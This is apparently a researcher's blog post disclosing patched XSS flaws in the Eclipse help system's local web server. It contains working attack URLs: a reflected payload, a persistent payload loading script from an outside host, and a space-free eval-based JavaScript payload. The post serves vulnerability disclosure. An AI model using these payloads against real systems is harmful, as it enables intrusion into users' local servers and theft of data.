I'm starting to feel a bit redundant here...
Oh well. I've been told that there is a patch available now for this issue so I'm free to talk about it.
I discovered
XSS vulnerabilities in the
Eclipse help system. Apparently just about all products based on Eclipse are/were vulnerable.
Since the vulnerability is XSS in a locally running web server (hrm,
where have we heard that before...) if the user is running IE they may be in trouble.
When you click on Help -> Help Contents a web server is started up on the local machine. Upon further investigation I discovered that this server is an Apache Coyote 1.1 web server. The web server seems to be started on a pseudo-random port but it felt like a lot of the port numbers were used quite frequently. I never performed any kind of analysis on the random number generation for the port number so I'll leave that to someone else if they want to.
Anyway, let's get to the pwnage. Here's the location of the reflected XSS in the Eclipse Help System:
http://localhost:port/help/advanced/searchView.jsp?searchWord=a");}alert('xss');
</script>
Here's the location of the persistent XSS:
http://localhost:port/help/advanced/workingSetManager.jsp?operation=add&
workingSet='%3E%3Cscript%20src%3D'http%3A%2F%2F1.2.3.4%2Fa.js'%3E%3C%2Fscript%3E
&hrefs=%2Fcom.adobe.flexbuilder.help.api%2Ftoc.xml&oldName=
One thing I did find particularly interesting was trying to work around the fact that when I exploited the reflective XSS the web app did not change %20's back into spaces. It took a little thinking to get around this, but I managed.
So how does one write a Javascript payload with no spaces? Pretty simply actually. Let's take this snippet of sample code that we want to use for our payload:
function f(){
var hr = new ActiveXObject("Msxml2.XMLHTTP");
hr.onreadystatechange = function(){
alert(hr.responseText);
};
hr.open("GET","http://www.google.com",true);
hr.send(null);
}
setTimeout('f()',2000);
First of all, the "var" keyword is not needed. You can perform implicit variable declaration in Javascript. But what about the rest? What I did was get rid of all the whitespace that wasn't needed and came up with this:
function f(){hr=new ActiveXObject("Msxml2.XMLHTTP");hr.onreadystatechange=function(){
alert(hr.responseText);};hr.open("GET","http://www.google.com",true);hr.send(null);}
setTimeout('f()',2000);
That's pretty messy looking, but there are still spaces in there. What I did next was put that entire thing into a string and replaced the spaces with "..".
b="function..f(){hr=new..ActiveXObject("Msxml2.XMLHTTP");hr.onreadystatechange=
function(){alert(hr.responseText);};hr.open("GET","http://www.google.com",true);
hr.send(null);}setTimeout('f()',2000);";
But if you eval that string it's not going to work because of the ".." characters replacing the spaces. Just use the replace function!
b="function..f(){hr=new..ActiveXObject("Msxml2.XMLHTTP");hr.onreadystatechange=
function(){alert(hr.responseText);};hr.open("GET","http://www.google.com",true);
hr.send(null);}setTimeout('f()',2000);";
a=a.replace(/\.\./g,String.fromCharCode(32));
eval(a);
If we put it all together we have this as our XSS attack string:
http://127.0.0.1:55610/help/advanced/searchView.jsp?searchWord=a");}b="function..f
(){hr=new..ActiveXObject(\"Msxml2.XMLHTTP\");hr.onreadystatechange=function()..{
alert(hr.responseText);};hr.open(\"GET\",\"http://www.google.com\",true);hr.send
(null);}setTimeout('f()',2000);";b=b.replace(/\.\./g,String.fromCharCode(32));
eval(b);</script>
Labels: computers, internet explorer, local intranet zone, local web servers, localhost, loopback, security, xss